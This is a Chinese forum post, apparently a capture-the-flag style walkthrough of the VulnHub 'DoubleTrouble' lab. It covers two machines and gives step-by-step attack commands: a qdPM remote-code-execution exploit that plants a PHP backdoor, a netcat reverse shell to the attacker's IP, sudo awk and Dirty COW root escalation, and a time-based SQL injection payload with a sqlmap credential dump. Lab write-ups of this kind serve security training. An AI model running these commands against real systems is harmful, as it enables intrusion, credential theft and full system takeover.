第十五次打靶

打印 上一主题 下一主题

主题 832|帖子 832|积分 2496

靶机介绍

1)靶机地址:https://download.vulnhub.com/doubletrouble/doubletrouble.ova
2)靶机难度:中
3)打靶目标:  取得两台靶机 root 权限 + Flag
4)涉及攻击方法:主机发现、端口扫描、WEB信息收集、开源CMS漏洞利用、隐写术、EXP代码修复、密码爆破、GTFObins提权、SQL盲注、脏牛提权
5)靶机简介:本靶机之中还藏着第二个靶机,需要全部攻破它们。如今大量WEB应用都基于开源CMS进行搭建,而CMS本身一旦被发现存在漏洞,则会威胁众多应用的安全。作为攻击方,应该重点关注目标使用的CMS,进而通过信息收集和源码审计,发现并利用其中存在的漏洞。本次打靶会使用一个新的隐写密码破解工具,将密码破解的效率提升9000倍。面对第二个靶机,会使用到SQL盲注技术,利用布尔逻辑以二进制位为单位,从数据库中提取机密的数据。
打靶过程

1)主机发现
  1. # arp-scan --interface=eth1 --localnet
复制代码

2)全端口扫描
  1. # nmap -p- 192.168.56.121
复制代码

3)端口服务版本扫描
  1. # nmap -p22,80 -sC -sV 192.168.56.121
复制代码

4)浏览器访问80端口及查看网页源码信息


copyright为版权方,即源码贡献者是谁,该应用web应用名称为qdpM,版本为9.1,访问官方网站,可知是一个CMS程序。如果该CMS的存在高位漏洞,可直接进行利用。
在实际渗透过程中,发现一个目标web程序使用的是哪个CMS后,可针对该CMS源码最新发布时的relsease信息来进行检查,发现是否修复了哪些漏洞。
5)查看官网最新的qdpM的cms的relsese信息:未发现任何漏洞修复的内容,但是根据提示,在该CMS安装完成后,会默认存在一个/install的目录

6)通过访问install目录发现,该目录主要是在CMS安装完成后,用于环境检查的一个文件,但是此处存在,说明管理员在CMS安装完成后,并没有将该文件删除
  1. http://192.168.56.121/install/
复制代码

7)通过访问/core/cache/qdPM/目录,也可以发现一些该网站的文件信息,包括一些php文件,但是php文件因为被解析的原因,无法查看其具体的内容(要查看内容,除非系统具备任意文件下载漏洞),同样也可查看其他目录下的文件
  1. http://192.168.56.121//core/cache/qdPM
复制代码

8)因知道了当前CMS的名称及版本,可以直接在kali中搜索,该目标主机的CMS版本是否存在已知可利用的脚本程序
  1. # searchsploit qdpm
复制代码

通过搜索,存在多个可利用的代码,优先关注其中的远程代码执行漏洞利用脚本
9)将两个远程代码执行漏洞利用脚本进行下载后,简单查看
  1. # cp /usr/share/exploitdb/exploits/php/webapps/47954.py ./
  2. # cp /usr/share/exploitdb/exploits/php/webapps/50175.py ./
复制代码

通过查看脚本发现两个脚本都是针对远程代码执行漏洞,只不过使用的python版本不同,且使用该脚本必须通过身份认证后,即已经登录到目标系统内部,才能利用远程代码执行
10)先通过万能密码的登录尝试' or 1=1 --  无法正常登录

11)通过搜索发现了qdPm默认安装完成后的用户名为admin@localhost.com和密admin,但是也无法成功登录。表面密码已经备修改过了
12)通过路径爬取,查看web程序的其他文件
  1. # dirsearch -u http://192.168.56.121
复制代码

按个对发现的目录和文件进行查看,发现了一个secret目录(秘密),作为一个靶机,有可能该目录中存在重要信息
13)通过浏览器访问,发现该目录下存在着一张图片,将图片进行保存

14)在很多靶机中会使用隐写术 的方式在图片中隐藏信息。先通过setghide工具查看图片中有无隐藏信息
  1. # steghide info doubletrouble.jpg
复制代码

通过分析发现,该图片格式为jpeg,且该图片有能力隐藏4.7KB大小的数据,但是要想获取到隐藏到图片中的数据时,需要输入密码
15)安装stegcracker隐写信息破解程序
  1. # apt install stegcracker
  2. # stegcracker
复制代码

根据提示发现stegcracker已经升级为了stegseek,且stegseek在效率方面比stegcracker高的多
16)先下载stegseek,并且使用setgseek破解图片中的密码
  1. stegseek下载地址:https://github.com/RickdeJager/stegseek
  2. # apt install ./stegseek_0.6-1.deb
  3. # stegseek --crack doubletrouble.jpg rockyou.txt -xf file   密码破解并将破解出的内容输出到file文件中
复制代码

破解出密码为92camaro
17)查看文件内容
  1. # file file          #查看file文件类型为文本文件
  2. # cat file      
  3. otisrush@localhost.com
  4. otis666
复制代码

查看文件内容发现了两行字符串,尝试通过该字符字符传作为账户和密码登录web应用
18)尝试登录


发现正常的登录进了目标系统
19)执行远程代码漏洞利用脚本
①在初次执行脚本时,报出了语法错误
  1. # python3 50175.py
复制代码

②通过检查代码发现,是因为代码中缩进出现问题导致的语法问题,重新整理代码的缩进后,执行代码,输入脚本使用方式

③输入参数,执行远程代码执行漏洞利用脚本
  1. # python3 50175.py -url http://192.168.56.121/ -u otisrush@localhost.com -p otis666
复制代码

执行成功后,会返回一个URL地址,在users目录下会生成一个后门文件如下

④利用后门执行命令
  1. http://192.168.56.121//uploads/users/333276-backdoor.php?cmd=id
复制代码

20)利用webshell,执行反弹shell
  1. http://192.168.56.121//uploads/users/333276-backdoor.php?cmd=which nc
  2. http://192.168.56.121//uploads/users/333276-backdoor.php?cmd=nc -e /bin/bash 192.168.56.103 4444
复制代码

21)突破边界后,先利用python的pth模块将shell进行升级,再对目标靶机进行信息搜集,
  1. python -c 'import pty;pty.spawn("/bin/bash")'
  2. $ sudo -l
复制代码

查看发现不需要密码即可使用awk命令,且该命令属主为root
22)通过gtfobins中关于利用awk进行sudo提权的命令进行提权
  1. https://gtfobins.github.io/gtfobins/awk/
  2. sudo awk 'BEGIN {system("/bin/bash")}'
复制代码


通过上述命令直接将权限提升为了root,且在家目录下发现了第二个ova文件
23)将ova镜像文件通过kali传输到kali主机
  1. kali:
  2. #nc -nvlp 4444 >second.ova
  3. 目标靶机:
  4. # nc 192.168.56.103 4444 < doubletrouble.ova -w 1    当不在有数据传输,1秒后断开连接
复制代码

24)传输完成后,验证两个ova文件的hash值是否一致
  1. 目标靶机:
  2. #md5sum doubletrouble.ova
  3. 186b2cb6b64e630c6e93fb9905e76a0d  doubletrouble.ova
  4. kali主机:
  5. # md5sum second.ova                    
  6. 186b2cb6b64e630c6e93fb9905e76a0d  second.ova
复制代码
25)将新下载的ova文件导入虚拟机后进行主机发现
  1. # arp-scan --interface=eth1 --localnet
复制代码

26)全端口扫描
  1. # nmap -p- 192.168.56.123
复制代码

27)端口服务版本扫描
  1. # nmap -p22,80 -sC -sV 192.168.56.123
复制代码

28)浏览器访问靶机的80端口,发现是一个登录页面,通过查看源代码未发现有用信息;通过万能密码尝试也无法成功登入

29)对目标靶机进行web目录爬取,也未发现敏感文件及目录
  1. # dirsearch -u http://192.168.56.123
  2. #dirsearch -u http://192.168.56.x/cgi-bin -f -e cgi,sh
复制代码
30)尝试通过burp抓取web系统登录时的数据包,尝试在用户名和密码出进行SQL注入尝试
  1. uname=abcd&psw=' AND(SELECT X FROM (SELECT (SLEEP(5)))XZ)#&btnLogin=Login
复制代码

当在用户名或密码处输入如上SQL语句时,会因为sleep函数的原因造成延时,说明此处存在时间盲注
31)将数据包保存到r.txt后通过sqlmap对web程序数据库进行注入
  1. # sqlmap -r r.txt
  2. # sqlmap -r r.txt -p uname --dbms mysql --dbs
  3. # sqlmap -r r.txt -p uname --dbms mysql -D doubletrouble --tables
  4. # sqlmap -r r.txt -p uname --dbms mysql -D doubletrouble -T users --columns
  5. # sqlmap -r r.txt -p uname --dbms mysql -D doubletrouble -T users --dump
复制代码

通过sqlmap注入出两队用户名和密码:| GfsZxc1  | montreux || ZubZub99 | clapton
32)通过上述的用户名和密码登录web系统,发现仍然无法登录,此时使用用户名和密码通过ssh进行登录,多次尝试发现,通过用户名clapton和密码ZubZub99成功登陆至靶机
  1. # ssh clapton@192.168.56.12
复制代码

33)主机信息搜集
  1. $ sudo -l
  2. $ uname -a
复制代码

通过查看靶机操作系统版本未3.2.0,该版本存在脏牛提权漏洞
34)利用脏牛漏洞进行提权
①在如下地址下载利用代码
  1. https://github.com/FireFart/dirtycow
复制代码
①将文件传输到目标靶机
  1. 目标靶机:
  2. $ nc -nvlp 4444 > dirty.c
  3. kali:
  4. # nc 192.168.56.123 4444 < dirty.c -w 1
复制代码
③代码编译,后执行代码。提权成功后会用firefart用户去替换root用户
  1. $ gcc -pthread dirty.c -o exp -lcrypt
  2. $ chmod +x exp
  3. $ ./exp pass           #给定一个密码
复制代码

④使用用户firefart密码pass登录目标靶机,获取flag
  1. firefart@doubletrouble:~# cat root.txt
  2. 1B8EEA89EA92CECB931E3CC25AA8DE21firefart
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

魏晓东

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表